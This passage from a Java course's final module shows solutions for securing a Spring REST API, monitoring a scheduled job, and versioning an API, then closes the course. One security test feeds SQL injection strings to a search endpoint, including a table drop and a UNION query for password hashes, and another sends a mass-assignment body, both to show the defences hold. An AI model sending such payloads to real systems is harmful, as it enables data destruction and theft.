    // ---------------------------------------------------------------
    // Role change: a SEPARATE endpoint, ADMIN only, audited
    // ---------------------------------------------------------------
    @PutMapping("/{id}/role")
    @PreAuthorize("hasRole('ADMIN')")
    @Audited(action = "CHANGE_ROLE")
    public EmployeeResponse changeRole(@PathVariable Long id,
                                       @Valid @RequestBody ChangeRoleRequest request) {
        return EmployeeResponse.from(service.changeRole(id, request.role()));
    }

    // ---------------------------------------------------------------
    // Search: parameterised, paginated, with a bounded length
    // ---------------------------------------------------------------
    @GetMapping("/search")
    @PreAuthorize("hasAnyRole('LIBRARIAN','ADMIN')")
    public PageResponse<EmployeeSummaryResponse> search(
            @RequestParam @Size(min = 2, max = 100) String name,
            @PageableDefault(size = 20) Pageable pageable) {

        return PageResponse.from(
                service.findByName(name, pageable)            // PARAMETERISED query
                       .map(EmployeeSummaryResponse::from));  // summary: even less data
    }
}

The DTOs, which are where the structural defence lives:

/** Output: only what this endpoint is allowed to reveal. */
public record EmployeeResponse(Long id, String name, String email,
                               String department, LocalDate hireDate) {
    // NO passwordHash, NO role, NO version, NO internal data
    public static EmployeeResponse from(Employee e) {
        return new EmployeeResponse(e.getId(), e.getName(), e.getEmail(),
                                    e.getDepartment(), e.getHireDate());
    }
}

/** Summary for listings: even less information. */
public record EmployeeSummaryResponse(Long id, String name, String department) { }

/** Input: ONLY the fields a user may change about themselves. */
public record UpdateEmployeeRequest(
        @NotBlank @Size(max = 150) String name,
        @NotBlank @Email @Size(max = 200) String email,
        @Size(max = 100) String department) {
    // No id, no role, no password, no version. Structurally impossible.
}

public record ChangeRoleRequest(@NotNull Role role) { }

And the safe query:

public interface EmployeeRepository extends JpaRepository<Employee, Long> {

    /** Parameterised: the value is NEVER interpreted as SQL. */
    @Query("""
           select e from Employee e
           where lower(e.name) like lower(concat('%', :name, '%'))
           """)
    Page<Employee> findByName(@Param("name") String name, Pageable pageable);
}

Security tests, which are what stops the vulnerability coming back:

@WebMvcTest(EmployeeController.class)
@Import(SecurityConfiguration.class)
class EmployeeControllerSecurityTest {

    @Autowired MockMvc mvc;
    @MockitoBean EmployeeService service;

    @Test
    void withoutAuthenticationReturns401() throws Exception {
        mvc.perform(get("/api/v1/employees/1"))
                .andExpect(status().isUnauthorized());
    }

    @Test
    @WithMockUser(username = "2", roles = "EMPLOYEE")
    void anEmployeeCannotSeeAnotherEmployeesData() throws Exception {
        mvc.perform(get("/api/v1/employees/1"))     // user 2 asks for user 1's data
                .andExpect(status().isForbidden());  // ← the IDOR is closed
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLOYEE")
    void anEmployeeCanSeeTheirOwnData() throws Exception {
        when(service.findById(1L)).thenReturn(Optional.of(anEmployee(1L, "Marta Ruiz")));

        mvc.perform(get("/api/v1/employees/1"))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.name").value("Marta Ruiz"))
                // Check EXPLICITLY that nothing leaks
                .andExpect(jsonPath("$.passwordHash").doesNotExist())
                .andExpect(jsonPath("$.role").doesNotExist())
                .andExpect(jsonPath("$.version").doesNotExist());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLOYEE")
    void privilegesCannotBeEscalatedThroughTheUpdate() throws Exception {
        // Mass-assignment attempt: send fields the DTO does not have
        mvc.perform(put("/api/v1/employees/1")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("""
                                {"name":"Marta Ruiz","email":"[email protected]",
                                 "role":"ADMIN","passwordHash":"whatever","id":999}"""))
                .andExpect(status().isOk());

        // The malicious fields are IGNORED: the DTO does not have them
        ArgumentCaptor<UpdateEmployeeRequest> captor =
                ArgumentCaptor.forClass(UpdateEmployeeRequest.class);
        verify(service).update(eq(1L), captor.capture());
        assertThat(captor.getValue().name()).isEqualTo("Marta Ruiz");
        // There is no way for 'role' to have reached the service
    }

    @ParameterizedTest
    @ValueSource(strings = {
        "'; DROP TABLE employees; --",
        "' OR '1'='1",
        "%' UNION SELECT password_hash FROM employees --"
    })
    @WithMockUser(roles = "LIBRARIAN")
    void searchIsImmuneToSqlInjection(String maliciousPayload) throws Exception {
        when(service.findByName(anyString(), any())).thenReturn(Page.empty());

        mvc.perform(get("/api/v1/employees/search").param("name", maliciousPayload))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.content").isEmpty());

        // The payload reaches the repository as a literal VALUE, not as SQL
        verify(service).findByName(eq(maliciousPayload), any());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLOYEE")
    void anEmployeeCannotChangeRoles() throws Exception {
        mvc.perform(put("/api/v1/employees/1/role")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("{\"role\":\"ADMIN\"}"))
                .andExpect(status().isForbidden());
    }
}

Solution 2

Metrics:

Metric Type Tags Why
bibliotech.auto_renewal.runs Counter result (success, failure) Is the process running at all?
bibliotech.auto_renewal.duration Timer Is it degrading?
bibliotech.auto_renewal.candidates Gauge How many loans does it evaluate?
bibliotech.auto_renewal.renewed Counter material_type The useful outcome
bibliotech.auto_renewal.skipped Counter reason The most informative one
bibliotech.auto_renewal.last_run Gauge Timestamp: detects that it stopped running

The key is skipped with the reason tag (has_reservations, already_renewed, employee_has_fines, material_withdrawn): if one reason spikes, there is a behaviour change that no aggregate metric would reveal.

@Service
public class AutomaticRenewal {

    private static final Logger log = LoggerFactory.getLogger(AutomaticRenewal.class);

    private final MeterRegistry registry;
    private final AtomicLong lastRun = new AtomicLong(0);

    @PostConstruct
    void registerGauges() {
        Gauge.builder("bibliotech.auto_renewal.last_run", lastRun, AtomicLong::get)
                .description("Unix timestamp of the last successful run")
                .register(registry);
    }

    @Scheduled(cron = "0 0 3 * * *")
    @SchedulerLock(name = "automaticRenewal", lockAtMostFor = "30m")        // 12-06
    public void run() {
        Timer.Sample sample = Timer.start(registry);
        MDC.put("process", "automatic-renewal");
        MDC.put("traceId", UUID.randomUUID().toString());

        int renewed = 0;
        Map<String, Integer> skipped = new HashMap<>();

        try {
            List<Loan> candidates = repository.dueIn(1);
            registry.gauge("bibliotech.auto_renewal.candidates", candidates.size());

            log.info("Automatic renewal started: {} candidates", candidates.size());

            for (Loan l : candidates) {
                Optional<String> reason = reasonNotToRenew(l);
                if (reason.isPresent()) {
                    skipped.merge(reason.get(), 1, Integer::sum);
                    registry.counter("bibliotech.auto_renewal.skipped",
                                     "reason", reason.get()).increment();
                    // DEBUG: this is the normal case, it must not flood the log
                    log.debug("Loan {} skipped: {}", l.getId(), reason.get());
                    continue;
                }
                manager.renew(l.getId(), null);
                renewed++;
                registry.counter("bibliotech.auto_renewal.renewed",
                                 "material_type", l.materialType().name()).increment();
            }

            lastRun.set(Instant.now().getEpochSecond());
            registry.counter("bibliotech.auto_renewal.runs", "result", "success")
                    .increment();

            // INFO: one line with the SUMMARY. It is what an operator would want to see (11-07).
            log.info("Automatic renewal completed: {} candidates, {} renewed, skipped={}",
                     candidates.size(), renewed, skipped);

        } catch (Exception e) {
            registry.counter("bibliotech.auto_renewal.runs", "result", "failure")
                    .increment();
            log.error("Automatic renewal failed after renewing {}", renewed, e);
            throw e;
        } finally {
            sample.stop(registry.timer("bibliotech.auto_renewal.duration"));
            MDC.clear();       // rule from 11-07
        }
    }
}

The three alerts:

# ALERT 1: the process has stopped running.
# The MOST IMPORTANT one, because it is a SILENT failure: nothing errors,
# loans simply stop being renewed and nobody finds out
# until undue fines start arriving.
- alert: AutomaticRenewalNotRunning
  expr: (time() - bibliotech_auto_renewal_last_run) > 93600                 # 26 hours
  for: 10m
  labels: { severity: high }
  annotations:
    summary: "Automatic renewal has not run for {{ $value | humanizeDuration }}"
    action: |
      1. Does the CronJob/scheduler exist? kubectl get cronjob bibliotech-auto-renewal
      2. Is a ShedLock lock stuck? select * from shedlock where name='automaticRenewal'
      3. Run it by hand: bibliotech loan auto-renew --dry-run
    runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#auto-renewal"

# ALERT 2: it runs but it fails
- alert: AutomaticRenewalFailing
  expr: increase(bibliotech_auto_renewal_runs_total{result="failure"}[25h]) > 0
  for: 5m
  labels: { severity: high }
  annotations:
    summary: "Automatic renewal has failed"
    action: "Search the logs: process=automatic-renewal level=ERROR"

# ALERT 3: an abrupt change of behaviour.
# Detects that a rule has broken: for example, a bug that makes
# EVERYTHING get skipped as 'has_reservations' when it did not before.
- alert: AutomaticRenewalAnomalousBehaviour
  expr: |
    (sum(increase(bibliotech_auto_renewal_renewed_total[25h]))
     / sum(increase(bibliotech_auto_renewal_candidates[25h]))) < 0.2
    and sum(increase(bibliotech_auto_renewal_candidates[25h])) > 20
  for: 30m
  labels: { severity: medium }
  annotations:
    summary: "Only {{ $value | humanizePercentage }} of the candidates are being renewed"
    description: "Check the distribution of bibliotech_auto_renewal_skipped by reason"

Dashboard panels:

Panel Query Type
Last run time() - bibliotech_auto_renewal_last_run Stat with threshold
Renewed per day increase(bibliotech_auto_renewal_renewed_total[1d]) Bars
Skipped by reason sum(increase(...skipped_total[1d])) by (reason) Stacked bars
Renewal rate renewed / candidates Gauge
Duration bibliotech_auto_renewal_duration_seconds Time series

How to detect that it stopped running — the heart of the exercise. There are three approaches, and only one works well:

Approach Problem
Alert if the counter stops growing A day with no candidates is normal: false positive
Alert if there is an error If the process never starts, there is no error to log
Gauge with the timestamp of the last run ✅ Works: it is a dead man's switch

The technique is called a dead man's switch: instead of alerting when something goes wrong, you alert when the signal that everything is fine stops arriving. It is the only pattern that detects that a process has vanished, and it applies equally to scheduled jobs, to backups and to any periodic process.

Solution 3

Strategy: the version in the URI, with /api/v1/ and /api/v2/ living side by side.

Timeline:

Date Milestone
2026-09-01 v2 published; v1 marked deprecated with headers
2026-09-01 Migration guide, documentation and v1 usage metrics
2026-10-01 First notice to the clients with measured usage
2027-01-01 Final warning (1 month) to whoever is still on v1
2027-02-01 v1 retired: 410 Gone with a link to v2

Five months of notice, which is the reasonable minimum with three clients, one of which (HR) is outside your control.

Code for both versions, sharing the same use case:

// ---------------- V1: DEPRECATED ----------------
@RestController
@RequestMapping("/api/v1/loans")
@Tag(name = "Loans v1", description = "DEPRECATED — retired on 2027-02-01")
public class LoanControllerV1 {

    private final ManageLoans manager;            // the SAME use case as v2
    private final MeterRegistry registry;

    @GetMapping("/{id}")
    @Deprecated(since = "2.0.0", forRemoval = true)
    @Operation(deprecated = true, summary = "[DEPRECATED] Use GET /api/v2/loans/{id}")
    public ResponseEntity<LoanResponseV1> byId(
            @PathVariable Long id,
            @RequestHeader(value = "X-Client", defaultValue = "unknown") String client) {

        // Measure WHO is still using v1: without this, retiring it is a gamble
        registry.counter("bibliotech.api.v1.usage", "client", client, "endpoint", "loan_by_id")
                .increment();

        Loan loan = manager.find(id).orElseThrow(() -> new LoanNotFoundException(id));

        return ResponseEntity.ok()
                .header("Deprecation", "@1756684800")                    // RFC 8594: epoch
                .header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
                .header("Link", "</api/v2/loans/" + id + ">; rel=\"successor-version\", "
                              + "<https://docs.nexussoftware.com/bibliotech/migration-v2>; rel=\"deprecation\"")
                .header("Warning", "299 - \"This API version will be retired on 2027-02-01\"")
                .body(LoanResponseV1.from(loan));
    }
}

/** v1 DTO: it is FROZEN. Nothing is ever added to it or removed from it again. */
public record LoanResponseV1(Long id, String isbn, String employee,
                             LocalDate due, boolean returned, BigDecimal fine) {

    public static LoanResponseV1 from(Loan l) {
        return new LoanResponseV1(
                l.getId(), l.getIsbn().value(), l.employeeName(),
                l.getDueDate(),
                l.getReturnDate().isPresent(),
                l.accruedFine(LocalDate.now()).amount());
    }
}
// ---------------- V2: CURRENT ----------------
@RestController
@RequestMapping("/api/v2/loans")
@Tag(name = "Loans")
public class LoanControllerV2 {

    @GetMapping("/{id}")
    public LoanResponseV2 byId(@PathVariable Long id) {
        Loan loan = manager.find(id).orElseThrow(() -> new LoanNotFoundException(id));
        return LoanResponseV2.from(loan, LocalDate.now(clock));
    }
}

public record LoanResponseV2(
        Long id,
        String isbn,
        EmployeeSummary employee,          // an object, not a string
        LocalDate loanDate,
        LocalDate dueDate,
        LocalDate returnDate,
        LoanStatus status,                 // an enum, not a boolean
        Amount fine,                       // an object with a currency
        boolean renewable,                 // NEW
        long daysRemaining) {              // NEW

    public record EmployeeSummary(Long id, String name, String email) { }
    public record Amount(BigDecimal amount, String currency) { }

    public static LoanResponseV2 from(Loan l, LocalDate today) {
        return new LoanResponseV2(
                l.getId(), l.getIsbn().value(),
                new EmployeeSummary(l.getEmployeeId(), l.employeeName(), l.employeeEmail()),
                l.getLoanDate(), l.getDueDate(),
                l.getReturnDate().orElse(null),
                l.getStatus(),
                new Amount(l.accruedFine(today).amount(), "EUR"),
                l.getStatus().allowsRenewal(),
                ChronoUnit.DAYS.between(today, l.getDueDate()));
    }
}

The retirement, which leaves a useful trail instead of a baffling 404:

@RestController
@RequestMapping("/api/v1")
@Profile("post-v1-retirement")
public class V1RetiredController {

    @RequestMapping("/**")
    public ResponseEntity<ProblemDetail> retired(HttpServletRequest request) {
        ProblemDetail detail = ProblemDetail.forStatusAndDetail(
                HttpStatus.GONE,      // 410, not 404: "it existed and was removed on purpose"
                "Version 1 of the API was retired on 2027-02-01. Migrate to /api/v2.");
        detail.setTitle("API version retired");
        detail.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migration-v2"));
        detail.setProperty("currentVersion", "v2");
        detail.setProperty("migrationGuide", "https://docs.nexussoftware.com/bibliotech/migration-v2");

        return ResponseEntity.status(HttpStatus.GONE)
                .header("Link", "</api/v2>; rel=\"successor-version\"")
                .body(detail);
    }
}

Measuring who is still on v1:

# v1 usage by client over the last 7 days
sum(increase(bibliotech_api_v1_usage_total[7d])) by (client)

# Percentage of traffic still on v1
sum(rate(bibliotech_api_v1_usage_total[1d]))
/ (sum(rate(bibliotech_api_v1_usage_total[1d])) + sum(rate(bibliotech_api_v2_usage_total[1d])))
- alert: V1UsageAfterRetirementDate
  expr: sum(increase(bibliotech_api_v1_usage_total[1d])) by (client) > 0
  labels: { severity: medium }
  annotations:
    summary: "Client {{ $labels.client }} is still using API v1"
    action: "Get in touch before 2027-02-01"

Communication to the clients:

# BiblioTech API migration: v1 → v2

**v1 will be retired on 1 February 2027.**

## What changes

| v1 field | v2 field | Change |
|---|---|---|
| `employee` (string) | `employee.name` | Now an object with `id`, `name` and `email` |
| `due` | `dueDate` | Renamed |
| `returned` (boolean) | `status` (enum) | `ACTIVE`, `RENEWED`, `OVERDUE`, `RETURNED`, `LOST` |
| `fine` (number) | `fine.amount` + `fine.currency` | Object with an explicit currency |
| — | `renewable` | **New** |
| — | `daysRemaining` | **New** |
| — | `loanDate`, `returnDate` | **New** |

## Equivalences

// v1 const isReturned = response.returned; const name = response.employee; const fine = response.fine;

// v2 const isReturned = response.status === 'RETURNED'; const name = response.employee.name; const fine = response.fine.amount;

## Timeline
- **2026-09-01**: v2 available. v1 deprecated (works as normal).
- **2027-01-01**: final warning.
- **2027-02-01**: v1 retired. It will return `410 Gone`.

## Help
[email protected] — or open an issue in the repository.

And a design decision worth pointing out: v1 and v2 share the same use case (ManageLoans). Only the DTOs and the controllers differ. Without the architecture from 12-01, maintaining two versions would mean duplicating the business logic, and from there to the two versions behaving differently is a single step.


Conclusion: closing the course

BiblioTech's journey, module by module

Twelve modules ago, BiblioTech did not exist. This table is the whole journey:

Module BiblioTech at the start BiblioTech at the end
1. Introduction to Java Nothing. Not one file A program that compiles and runs: variables, types, operators, console input with Scanner, output with printf. A first catalogue of three books with their data
2. Control Flow A linear program that only runs statements in order An interactive menu with conditionals, loops, switch and input validation. And the ability to debug it step by step instead of guessing
3. Object-Oriented Programming Loose variables and static methods Objects: Material, Book, Employee, Loan with state and behaviour of their own. Inheritance, polymorphism, encapsulation, abstraction and equals/hashCode/toString done properly
4. Advanced Object-Oriented Programming Class hierarchies and little else Contracts: the Lendable and Notifiable interfaces, abstract classes, lambdas, functional interfaces, method references, enum with behaviour and record for immutable data
5. Data Structures and Collections Fixed-size arrays The whole collections framework: lists, maps, sets, queues, stacks. Sorting with Comparator, searching, and an undo stack
6. Exception Handling Failures that aborted the program with a stack trace A hierarchy of your own, BiblioTechException, try-with-resources, per-layer strategies, an error boundary and logging
7. File Input/Output Everything in memory: lost on exit Persistence: classic I/O, NIO.2, serialisation, a catalogue in CSV and configuration in Properties. The data outlives the process
8. Multithreading and Concurrency One thing at a time Threads, synchronized, ExecutorService, concurrent collections and CompletableFuture. The catalogue import went from minutes to seconds
9. Networking An isolated program on one machine Communication: a multi-client CatalogServer with sockets, UDP, and an HTTP client querying external metadata
10. Advanced Topics Java 8 used halfway Java 21 for real: generics, custom annotations, reflection and dynamic proxies, Streams and Optional, java.time with an injectable Clock, sealed, pattern matching, virtual threads, and real measurement of memory and performance
11. Java Frameworks and Libraries Everything written by hand, including a home-made dependency container The ecosystem: a Maven project, Spring Boot with IoC and AOP, JPA/Hibernate over a database, 41 tests with JUnit 5 and Mockito, Jackson, Lombok and SLF4J with MDC
12. Building Real-World Applications Excellent parts with no product shape A product: five Maven modules with the architecture verified by the compiler, patterns applied with judgement, a professional CLI, a documented REST API, a quality strategy with Testcontainers and mutation testing, deployed in containers with versioned migrations, and with security, observability and a plan for evolution

From a System.out.println to a system in production with authentication, metrics, traces and a continuous delivery pipeline. That is the journey.

What you can do now

Without embellishment or false modesty, this is what you can do now that the course is over:

The language. You write idiomatic Java 21: collections and streams fluently, generics with wildcards, Optional without overusing it, record and sealed where they earn their place, pattern matching, java.time with an injectable clock. You understand what happens underneath: type erasure, class loading, memory, the GC and why you measure before optimising.

Design. You apply SOLID with examples, not from memory. You recognise and use the patterns when they solve a real problem and —the harder part— you know not to use them when they do not. You design layered and hexagonal architectures, you know where each responsibility belongs, and you use tooling so that the boundaries enforce themselves.

The ecosystem. You handle multi-module Maven, Spring Boot with dependency injection, profile-based configuration and AOP, JPA/Hibernate including the real problems (N+1, lazy loading, optimistic locking), Jackson, SLF4J and the libraries it is wise not to reinvent.

Quality. You write tests at the right level, with doubles when appropriate and a real database when it matters. You read coverage without fooling yourself, you know that mutation testing measures what coverage cannot, you refactor with a safety net, and you can develop test-first when the problem calls for it.

Operations. You containerise properly, you configure the JVM for a container, you version the schema with backwards-compatible migrations, you deploy without downtime and with a way back, and you build a pipeline that verifies, builds, publishes and deploys.

Production. You protect an API with authentication and authorisation, you know the common vulnerabilities and their concrete prevention, you instrument technical and business metrics, you correlate logs with traces, and you write alerts somebody will act on rather than ignore.

And one competency that appears on no list of requirements and is worth more than all of them: you know why things are the way they are. You know what Spring does underneath because you wrote a dependency container by hand. You know what a web server does because you wrote one with sockets. You know what @Transactional does because you wrote dynamic proxies. When something fails in a way that is in no tutorial, you will have somewhere to look.

What this course does NOT cover

Being honest about the limits is part of teaching well. These are important areas this course does not cover and which deserve study of their own:

Area What it is Where to start
Kotlin A modern JVM language, interoperable with Java. The standard on Android Kotlin in Action; the official documentation
Android Mobile development on the JVM: lifecycle, Jetpack Compose The Android developer documentation
Reactive programming WebFlux, Project Reactor: a non-blocking model for very high concurrency Reactive Spring; and first weigh up whether virtual threads already solve your case
Microservices and messaging Kafka, RabbitMQ, sagas, eventual consistency, service mesh Building Microservices by Sam Newman
Big data Spark, Flink, distributed processing Designing Data-Intensive Applications
Data architecture Advanced modelling, partitioning, CQRS, event sourcing, data warehousing Designing Data-Intensive Applications, again
Advanced security Applied cryptography, full OAuth2 and OIDC, forensics The OWASP Testing Guide; specific training
Deep performance Advanced profiling, GC tuning, JIT optimisations Optimizing Java; JVM Anatomy Quarks
Strategic DDD Bounded contexts, ubiquitous language, context maps Domain-Driven Design by Eric Evans; Learning DDD by Vlad Khononov

Recommended learning path

Right now (this week):

  1. Build something of your own. Do not follow another tutorial. Pick a problem you care about —an expense tracker, a habit tracker, a tool for your job— and build it with what you know. You will run into decisions no course ever poses, and that is where the real learning happens.
  2. Go back to BiblioTech and add something: the PDF reports, the console app with more commands, the web interface with Thymeleaf. You have the architecture; use it.

The next three months:

  1. Read these three books, in this order:

    • Effective Java, Joshua Bloch. Ninety items on how to write Java correctly. It is the book every Java developer should have read, and the one that gives its name to the Effective Java you have been lending out for twelve modules.
    • Clean Code, Robert C. Martin. With a critical eye: not everything in it is beyond dispute, and the debate it provokes is part of its value.
    • Refactoring, Martin Fowler. The catalogue of safe transformations. It complements what you saw in 12-05 perfectly.
  2. Read other people's code. Clone Spring Boot, or a library you use, and read how it is built. At first it will be uncomfortable; within a month it will be the fastest way you have to learn.

  3. Follow the JEPs (JDK Enhancement Proposals) at openjdk.org/jeps. That is where the future of the language is decided, and reading them puts you months ahead.

The next six months:

  1. Contribute to an open source project. Start with documentation or with issues labelled good first issue. You will get code reviews from people with more experience, which is the best learning there is and free on top of that.

  2. Go deep in one speciality, whichever appeals to you: data, architecture, security, performance, platform. Being good at everything does not exist.

  3. Teach what you know. Write about what you learn, explain it to somebody, give an internal talk. There is no more effective way to discover what you do not quite understand.

Permanent reference resources:

Resource What for
docs.oracle.com/javase The official Java documentation. Read it; it is better than people think
spring.io/guides and its reference Spring, straight from the source
openjdk.org/jeps The future of the language
Baeldung Good-quality practical tutorials
InfoQ Trends and architecture
Stack Overflow For searching, not for copying without understanding

A final piece of advice

Four things, and they are what separates somebody who programs in Java from somebody who is a good developer.

Read code. You are going to spend far more time reading than writing: other people's code, your own code from six months ago, library code. Reading well is a skill you train, and almost nobody trains it deliberately. Start today.

Write code. No amount of reading substitutes for having done it. The concepts in this course —dependency inversion, the Decorator pattern, the error boundary— are not truly understood until you have applied them and got them wrong. Get them wrong on your own projects, which is where it comes cheap.

Measure before optimising. It is the lesson of 10-07 and it holds for everything else. Your intuition about what is slow, about what breaks, about what users actually use, is systematically wrong. Measure, and decide with data. And the other way round too: do not stop measuring afterwards, because a system nobody observes degrades without anybody noticing.

Never stop learning. When you started this course, Java 21 was the current LTS. In three years it will be another one, and there will be things in the language that do not exist today. The frameworks will change, the tools will change, the practices will change. What does not change is the substance: separating responsibilities, making dependencies explicit, not repeating knowledge, testing what matters, measuring before deciding, and writing code the next person can understand. That is what you take away from here, and it works in any language.

One last observation, which may be the most useful of them all.

For twelve modules, BiblioTech has come and gone: it has been rewritten, refactored, decisions that looked good have been thrown away —the sealed on Material, the CSV, the home-made dependency container, java.util.logging— and replaced with better ones. At no point was that a failure. It was the process.

Real software is built that way: reasonable decisions with the information available, revisited later with new information. An experienced developer is not somebody who gets it right first time; it is somebody who has learned to build systems that can be changed when it turns out the first decision was not the right one.

That is exactly what you have been doing.

Now go and build something.

Java Programming Course

Module 1: Introduction to Java

Module 2: Control Flow

Module 3: Object-Oriented Programming

Module 4: Advanced Object-Oriented Programming

Module 5: Data Structures and Collections

Module 6: Exception Handling

Module 7: File Input/Output

Module 8: Multithreading and Concurrency

Module 9: Networking

Module 10: Advanced Topics

Module 11: Java Frameworks and Libraries

Module 12: Building Real-World Applications

© Copyright 2026. All rights reserved